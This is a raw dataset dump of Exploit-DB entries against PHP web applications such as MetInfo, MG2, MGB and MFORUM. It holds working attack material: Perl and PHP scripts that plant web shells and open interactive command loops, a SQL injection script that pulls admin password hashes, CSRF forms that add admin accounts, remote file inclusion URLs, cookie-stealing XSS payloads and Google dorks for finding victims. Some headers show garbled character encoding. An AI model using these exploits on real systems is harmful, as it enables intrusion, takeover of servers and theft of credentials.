deardaniel/secdata-raw huggingface dataset:
Exploit-DB #15360
Description: MetInfo 2.0 - PHP Code Injection
Type: webapps
Platform: php
Date: 2010-10-31
Author: Beach

Exploit:
#####################################################################################################
#Exploit Title짙쨘MetInfo 2.0 PHP Code Injection Vulnerability
#Date:2010-10-31
#Author짙쨘linux520.com
#Team짙쨘http://www.linux520.com/
#Vendor짙쨘http://www.metinfo.cn/
#Dork짙쨘"Powered by  MetInfo  2.0 "  #    Google: 90,000 + results
#Price짙쨘 free
#Language짙쨘PHP
#Greetz짙쨘CCAV
#####################################################################################################
+Description짙쨘
at 132 line of  ROOTPATH/include/common.inc.php:

eval(base64_decode($class2_all_1[0])); 

$class2_all_1[0]  is not defined 짙짭so we can inject eval php code
#####################################################################################################
+POC짙쨘http://victim.com/include/common.inc.php?$class2_all_1[0]=[base64_encode(eval php code)]
#####################################################################################################
+Exploit:

#!/usr/bin/env perl

use LWP::UserAgent;
print "################################################################\n";
print "#              MetInfo 2.0 c0de inj3cti0n 3xplo!t              #\n";
print "#                         by:linux520.com                      #\n";
print "################################################################\n";

die "Usage: $0 <target site> Ex:$0 victim.com\n" unless($ARGV[0]);
my $victim = $ARGV[0];
$user_agent = new LWP::UserAgent;
$vul_request = new HTTP::Request('GET',"http://$victim/include/common.inc.php?$class2_all_1[0]=ZnB1dHMoZm9wZW4oJy4uL3RlbXBsYXRlcy90ZXN0LnBocCcsJ3crJyksJzw/cGhwIHBhc3N0aHJ1KCRfR0VUW2NtZF0pPz4nKTs=");
# fputs(fopen('../templates/test.php','w+'),'<?php passthru($_GET[cmd]);?>');
$user_agent->request($vul_request);
$response = $user_agent->request(new HTTP::Request('GET',"http://$victim/templates/test.php"));
if($response->is_success)
{
	print "code injection successful ! plz look at http://$victim/templates/test.php?cmd=id";
}
else
{
print "could not connect to $victim";
}
#####################################################################################################
Exploit-DB #15389
Description: MetInfo 3.0 - 'FCKeditor' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-11-02
Author: [sh3n]

Exploit:
# Exploit Title: [MetInfo 3.0 (fckeditor) File Upload Exploit]
# Date: [02-11-2010]
# Author: [sh3n]
# Software Link: [http://www.metinfo.cn/upload/file/metinfo3.0.zip]
# Version: [3.0]
# Tested on: [BT4 Ubuntu, Windows 7 Ultimate]
# Exploit:
<?php
/*
MetInfo 3.0 Arbitrary File Upload Exploit
Vulnerable code metinfo.pe/fckeditor/editor/filemanager/connectors/php/upload.php
POC=>metinfo.pe/fckeditor/editor/filemanager/connectors/uploadtest.html
POC=>metinfo.pe/upload
Upload your shell.php.pdf (spoof ext.) will saved into /upload dir.
by sh3n http://guideshen.blogspot.com - @Guide_Shen - http://xsstorm.blogspot.com
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
 $sock = fsockopen($host, 80);
 while (!$sock)
 {
  print "\n[-] No response from {$host}:80 Trying again...";
  $sock = fsockopen($host, 80);
 }
 fputs($sock, $packet);
 while (!feof($sock)) $resp .= fread($sock, 1024);
 fclose($sock);
 return $resp;
}
print "\n+------------------------------------------------------------+";
print "\n|        MetInfo 3.0 File Upload (fckeditor) sh3n            |";
print "\n+------------------------------------------------------------+\n";
if ($argc < 2)
{
 print "\nUsage......: php $argv[0] metinfo.pe path";
 print "\nExample....: php $argv[0] localhost /fckeditor/\n";
 die();
}
$host = $argv[1];
$path = $argv[2];
$data  = "--xSsT0rm\r\n";
$data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"sh3n.php.pdf\"\r\n";
$data .= "Content-Type: application/octet-stream\r\n\r\n";
$data .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\n";
$data .= "----xSsT0rm--\r\n";
$packet  = "POST {$path}/fckeditor/editor/filemanager/connectors/php/upload.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($data)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=xSsT0rm\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $data;
preg_match("/OnUploadCompleted\((.*),\"(.*)\",\"(.*)\",/i", http_send($host, $packet), $html);
if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed! (Error {$html[1]})\n");
else print "\n[-] Shell uploaded to {$html[2]}...have phun!\n";
define(STDIN, fopen("php://stdin", "r"));
while(1)
{
 print "\nsh3n-box# ";
 $cmd = trim(fgets(STDIN));
 if ($cmd != "exit")
 {
  $packet = "GET {$path}upload/{$html[3]} HTTP/1.0\r\n";
  $packet.= "Host: {$host}\r\n";
  $packet.= "Cmd: ".base64_encode($cmd)."\r\n";
  $packet.= "Connection: close\r\n\r\n";
  $output = http_send($host, $packet);
  if (eregi("print", $output) || !eregi("_code_", $output)) die("\n[-] Exploit failed...\n");
  $shell = explode("_code_", $output);
  print "\n{$shell[1]}";
 }
 else break;
}
?>
Exploit-DB #15496
Description: Metinfo 3.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-11-12
Author: anT!-Tr0J4n

Exploit:
# Exploit Title: metinfo3.0 Mullti Vulnerability

# Date :       10-11-2010

# Author :    anT!-Tr0J4n

# Version :     3.0

#DorK     :    Powered by MetInfo 3.0 
 
# Home    :    www.Dev-PoinT.com : http://milw0rm.ws

#Email     :    D3v-PoinT[at]hotmail[d0t]com & C1EH[at]Hotmail[d0t]com

Vendor£   :   http://www.metinfo.cn/

#Greetz    :   Dev-PoinT.com   ; GlaDiatOr ;SILVER STAR ; HoBeeZ ; Coffin Of Evil ; Cyber-Err0r ; Mr.Mh$TEr ; M [Zero] ; R3d-D3v1l

#special thanks to milw0rm.ws team   :   r0073r,Sid3^effects,L0rd CruSad3r,SeeMe,Sonic,gunslinger_,Sn!pEr.S!Te,n4pst3rr,indoushka, KnocKout,SONiC,ZoRLu


========================================================
metinfo3.0 source code disclosure Vulnerability 
========================================================

[>] exploit ->

[+] http://localhost/metinfo/templates/met001/../../ [file disclosure]

EX :

[+] http://localhost/metinfo/templates/met001/../../config


======================================================
[>] metinfo3.0 XSS Vulnerability
======================================================

[>] exploit -> XSS Vulnerability


http://localhost/metinfo/search/search.php?lang=en&class1=0&class2=0&class3=0&searchtype=0&searchword=[XSS]


http://localhost/metinfo/search/search.php?lang=en&class1=0&class2=0&class3=0&searchtype=0&searchword=1<script>alert(document.cookie)</script>

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

[+] Site               : Inj3ct0r.com
[+] Support e-mail  : submit[at]inj3ct0r.com
[+] I'm anT!-Tr0J4n member from Inj3ct0r Team
Exploit-DB #15361
Description: MetInfo 3.0 - PHP Code Injection
Type: webapps
Platform: php
Date: 2010-10-31
Author: Beach

Exploit:
#####################################################################################################
#Exploit Title짙쨘MetInfo 3.0 PHP Code Injection Vulnerability
#Date:2010-10-31
#Author짙쨘linux520.com
#Team짙쨘http://www.linux520.com/
#Vendor짙쨘http://www.metinfo.cn/
#Dork짙쨘"Powered by  MetInfo 3.0 "  #    Google: 400,000 + results
#Price짙쨘 free
#Language짙쨘PHP
#Greetz짙쨘CCAV
#####################################################################################################
+Description짙쨘
at 67 line of  ROOTPATH/include/common.inc.php:

eval(base64_decode($allclass[0])); 

$allclass[0]  is not defined 짙짭so we can inject eval php code
#####################################################################################################
+POC짙쨘http://victim.com/include/common.inc.php?allclass[0]=[base64_encode(eval php code)]
#####################################################################################################
+Exploit:

#!/usr/bin/env perl

use LWP::UserAgent;
print "################################################################\n";
print "#              MetInfo 3.0 c0de inj3cti0n 3xplo!t              #\n";
print "#                         by:linux520.com                      #\n";
print "################################################################\n";

die "Usage: $0 <target site> Ex:$0 victim.com\n" unless($ARGV[0]);
my $victim = $ARGV[0];
$user_agent = new LWP::UserAgent;
$vul_request = new HTTP::Request('GET',"http://$victim/include/common.inc.php?allclass[0]=ZnB1dHMoZm9wZW4oJy4uL3RlbXBsYXRlcy90ZXN0LnBocCcsJ3crJyksJzw/cGhwIHBhc3N0aHJ1KCRfR0VUW2NtZF0pPz4nKTs=");
# fputs(fopen('../templates/test.php','w+'),'<?php passthru($_GET[cmd]);?>');
$user_agent->request($vul_request);
$response = $user_agent->request(new HTTP::Request('GET',"http://$victim/templates/test.php"));
if($response->is_success)
{
	print "code injection successful ! plz look at http://$victim/templates/test.php?cmd=id";
}
else
{
print "could not connect to $victim";
}
#####################################################################################################
Exploit-DB #17554
Description: Mevin Basic PHP Events Lister 2.03 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2011-07-21
Author: Crazy_Hacker

Exploit:
#######################################################
#	Author:			Crazy_Hacker
#	Script:			Mevin Basic PHP Events Lister v2.03
#	Exploit type: 	CSRF Vulnerability [Add & Delete Admin]
#	Download:		http://www.mevin.com/downloads/Basic-php-events-lister2.03.zip
# 	Risk: 			High
#	Contact:		jy8@hotmail.com
#######################################################


<form name="setup" action="http://127.0.0.1/events2/admin/user_add.php" method="post">
<input name="uname" type="hidden" value="Crazy_Hacker" />
<input name="pword" type="hidden" value="PWNED!!" /> 
<input type=submit name=submit value="Add Admin">
</form>
<form action="http://localhost/events2/admin/user_delete.php?id=8" method="post">
<input type="hidden" name="ud_id" value="8">
<input type="submit" name="submit" value="Delete Admin">
</form>

				\\// S3crity just Suck5 \\//
				
#EOF
Exploit-DB #28115
Description: MF Piadas 1.0 - 'admin.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-06-27
Author: botan

Exploit:
source: https://www.securityfocus.com/bid/18676/info

MF Piadas is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[scriptpath]/admin/admin.php?page=[code]
Exploit-DB #28117
Description: MF Piadas 1.0 - 'admin.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-27
Author: botan

Exploit:
source: https://www.securityfocus.com/bid/18679/info

MF Piadas is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/[scriptpath]/admin/admin.php?page=[code]
Exploit-DB #6068
Description: MFORUM 0.1a - Arbitrary Add Admin
Type: webapps
Platform: php
Date: 2008-07-13
Author: CWH Underground

Exploit:
=================================================
  MFORUM 0.1a Arbitrary Add-Admin Vulnerability
=================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 13 July 2008
SITE   : cwh.citec.us


###################################################################################
APPLICATION : MFORUM
VERSION     : 0.1a
DOWNLOAD    : http://downloads.sourceforge.net/marcioforum/mforum.zip
###################################################################################


--- Add-Admin Exploit ---

***magic_quotes_gpc = off***

-------------
 Description
-------------

    MFORUM 0.1a has Vulnerability to escalate user's privilege to administartor's privilege.
That Vulnerable in "Control Panel - Edit your profile" (http://[Target]/[mforum_path]/usercp.php?mode=edit_profile)
and you can injection code into various field (City, Interest, Email, Icq, msn, Yahoo Messenger).

    This action will give your account can use Admin Control Panel (http://[Target]/[mforum_path]/admin/index.php)
with Administrative's Privilege.

-----------------
 Vulnerable Path
-----------------
[+] http://[target]/[mforum_path]/usercp.php?mode=edit_profile

--------------
 Exploit code
--------------
[+] hacked", type="2


#####################################################################
 Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos
 Special Thx : asylu3, str0ke, citec.us, milw0rm.com
#####################################################################

# milw0rm.com [2008-07-13]
Exploit-DB #2794
Description: mg.applanix 1.3.1 - 'apx_root_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-17
Author: v1per-haCker

Exploit:
#########################################################################################
###################################v1per-haCker##########################################
######################How I Can lives Without FooL Programmer!###########################
#########################################################################################
#=======================================================================================#
#___________________________________mg.applanix (RFI)___________________________________#
#=======================================================================================#
# Information:-										#
#											#
# Scripts: mg.applanix									#
# download : http://freshmeat.net/redir/applanix/38915/url_zip/mg.applanix_1.3.1.zip	#
# Version : 1.3.1									#
# Dork & vuln : download script and think :)						#
#											#
#=======================================================================================#
# Exploit :										#
#											#
#http://localhost/path/act/act_check_access.php?apx_root_path=http://EvElCoDe.txt?	#
#http://localhost/path/dsp/dsp_form_booking_ctl.php?apx_root_path=http://EvElCoDe.txt?	#
#http://localhost/path/dsp/dsp_bookings.php?apx_root_path=http://EvElCoDe.txt?		#
#											#
#=======================================================================================#
# Discoverd By : v1per-haCker								#
#											#
# Conatact : v1per-hacker[at]hotmail.com						#
#											#
# XP10_hackEr Team		>>	www.xp10.com					#
# SpeciaL PoweR SecuritY TeaM	>>	www.specialpower.org				#
#											#
# Greetz to :	| abu_shahad | RooT-shilL | hitler_jeddah | BooB11 | FaTaL  | 		#
#		| ThE-WoLf-KsA | mohandko | fooooz | maVen | ShikAa | K3BAB |		#
#		| metoovet | MooB | Dr.7zN | ToOoFA | Cold Zero | Afroota   |		#
#		| MainstreaM | CoDeR | Simo-64 | Super-CrystaL | KoolholiO  | 		#
#		|  MuhaciR  |Skrmhcr-GVinux | Jean | fucker_net | Sir-ToTTi |		#
#	    										#
# Thanks >>	/str0ke	& www.milw0rm.com & www.google.com				#
#=======================================================================================#
#########################################################################################
#################################L0ve is L1fe W0und3r####################################
#########################################################################################

# milw0rm.com [2006-11-17]
Exploit-DB #31335
Description: MG2 - 'list' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-03-04
Author: Jose Carlos Norte

Exploit:
source: https://www.securityfocus.com/bid/28098/info

MG2 is prone to a cross-site scripting vulnerability because it fails to adequately sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/admin.php?action=import&list=%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E
Exploit-DB #26436
Description: MG2 0.5.1 - Authentication Bypass
Type: webapps
Platform: php
Date: 2005-10-29
Author: Preben Nylokken

Exploit:
source: https://www.securityfocus.com/bid/15235/info

MG2 is affected by an authentication bypass vulnerability. This issue can allow remote attackers to gain access to password protected image galleries.

All versions of MG2 are considered to be vulnerable at the moment. Minigal B13 is likely affected as well.

http://www.exmaple.com/mg2/index.php?list=*&page=all
Exploit-DB #35348
Description: MG2 0.5.1 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-02-15
Author: LiquidWorm

Exploit:
source: https://www.securityfocus.com/bid/46378/info

MG2 is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

MG2 0.5.1 is vulnerable; other versions may also be affected.

http://www.example.com/mg2/skins/rounded/templates/thumbnails_password.php 
 - param(GET): list=25<script>alert(1)</script> 
 - param(GET): id=25<script>alert(1)</script> 

http://www.example.com/mg2/skins/rounded/templates/viewimage_comments.php 
 - param(GET): id=31<script>alert(1)</script>  

http://www.example.com/mg2/skins/admin/admin1_menu.php 
 - param(GET): list=41<script>alert(1)</script> 

http://www.example.com/mg2/skins/admin/admin2_comments.php 
- param(GET): list=45<script>alert(1)</script>  

http://www.example.com/mg2/skins/admin/admin2_edit.php  
- param(GET): editID=53<script>alert(1)</script>  

http://www.example.com/mg2/skins/admin/admin2_newfolder.php 
- param(GET): list=59<script>alert(1)</script> 

http://www.example.com/mg2/skins/admin/admin3_folders.php 
- param(GET): list=71<script>alert(1)</script>
Exploit-DB #37489
Description: MGB - Multiple Cross-Site Scripting / SQL Injections
Type: webapps
Platform: php
Date: 2012-07-09
Author: Stefan Schurtz

Exploit:
source: https://www.securityfocus.com/bid/54348/info

MGB is prone to multiple cross-site scripting vulnerabilities and an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

MGB 0.6.9.1 is vulnerable; other versions may also be affected. 

http://www.example.com/mgb/admin/admin.php?action=delete&id=[SQLi]&p=1

http://www.example.com/mgb/index.php?p=1â??"</script><script>alert(document.cookie)</script> [XSS]

http://www.example.com/mgb/newentry.php [XSS]
Exploit-DB #3141
Description: MGB 0.5.4.5 - 'email.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2007-01-17
Author: SlimTim10

Exploit:
#!/usr/bin/perl
#
##########################################################
# MGB <= 0.5.4.5 Exploit
# Vulnerability found by SlimTim10
# Created By: SlimTim10
# <slimtim10@gmail.com>
##########################################################
# Google dork:
# ( intext:mgb.0.5.. & intext:mopzz ) | intext:mgb.0.5.4..
##########################################################


use IO::Socket::INET;

usage() unless (@ARGV == 2);

$host = $ARGV[0];
$dir = $ARGV[1];

$dir = "\/$dir" if ($dir !~ /^\//);
$dir = "$dir\/" if ($dir !~ /\/$/);
$host =~ s/http:\/\///g;

$path = $dir.'email.php?id=1%20UNION%20SELECT%20null,passwort%20FROM%20mgb_settings%20--';
$socket = IO::Socket::INET->new( Proto => "tcp",
								 PeerAddr => "$host",
								 PeerPort => "80")
								 || die "[-]Connect Failed: could not connect to $host\n";

print "[+]Connecting...\n";
print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $host\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "[+]Connected!\n";

while ($answer = <$socket>) {
  $answer =~ m/Email an&nbsp;(.*?)&nbsp;schreiben/ and $var = $1;
}

if ($var !~ /[\da-f]{32,32}/) {
	print "[-]Exploit failed.";
	exit(0);
}

print "[+]Admin Password: $var\n";
print "[+]Admin Link: http://$host".$dir."admin.php?sid=$var\n";

sub usage {
    print "\n" . "=|=-" x 14 . "=|=";
    print q(
]                                                         [
[       MGB <= 0.5.4.5 Remote SQL Injection Exploit       ]
[                Tested on MGB <= 0.5.4.5                 ]
[       Created by: SlimTim10 <slimtim10@gmail.com>       ]
]                                                         [
);
    print "=|=-" x 14 . "=|=\n\n";
    print "\tUsage: $0 [HOST] [PATH]\n";
    print "\tEx: $0 www.host.com /guestbook/\n";
    print "\tEx: $0 host.com mgb";
    print "\n\n"."`^" x 29 . "`\n";
    exit(0);
}

# milw0rm.com [2007-01-17]
Exploit-DB #15756
Description: MHP Downloadshop - SQL Injection
Type: webapps
Platform: php
Date: 2010-12-17
Author: Easy Laster

Exploit:
----------------------------Information------------------------------------------------
+Name : MHP Downloadshop <=  SQL injection Vulnerability Proof of Concept
+Autor : Easy Laster
+Date   : 17.12.2010
+Script  : MHP Downloadshop
+Demo :http://wp1072278.vwp3485.webpack.hosteurope.de/demoserver/Download-Shop/
+Download : ----
+Price : 19,90 
+Language : PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project.com
+Greetz to Team-Internet ,Underground Agents and free-hack.com
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr.ChAoS,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox,enco.
  
---------------------------------------------------------------------------------------
                                                                                       
 ___ ___ ___ ___                         _ _           _____           _         _ 
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|
                                              |___|                 |___|          
  
  
----------------------------------------------------------------------------------------
+Proof of Concept
+Table : users
+columns : name,password,email
+Proof of Concept : http://server/Download-Shop/view_item.php?ItemID='+uNioN+sElE
cT+1,2,cOnCaT(NaMe,PaSsWoRd,EmAiL),4,5,6,7,8,9,10,11,12,13+FrOm+users--+
----------------------------------------------------------------------------------------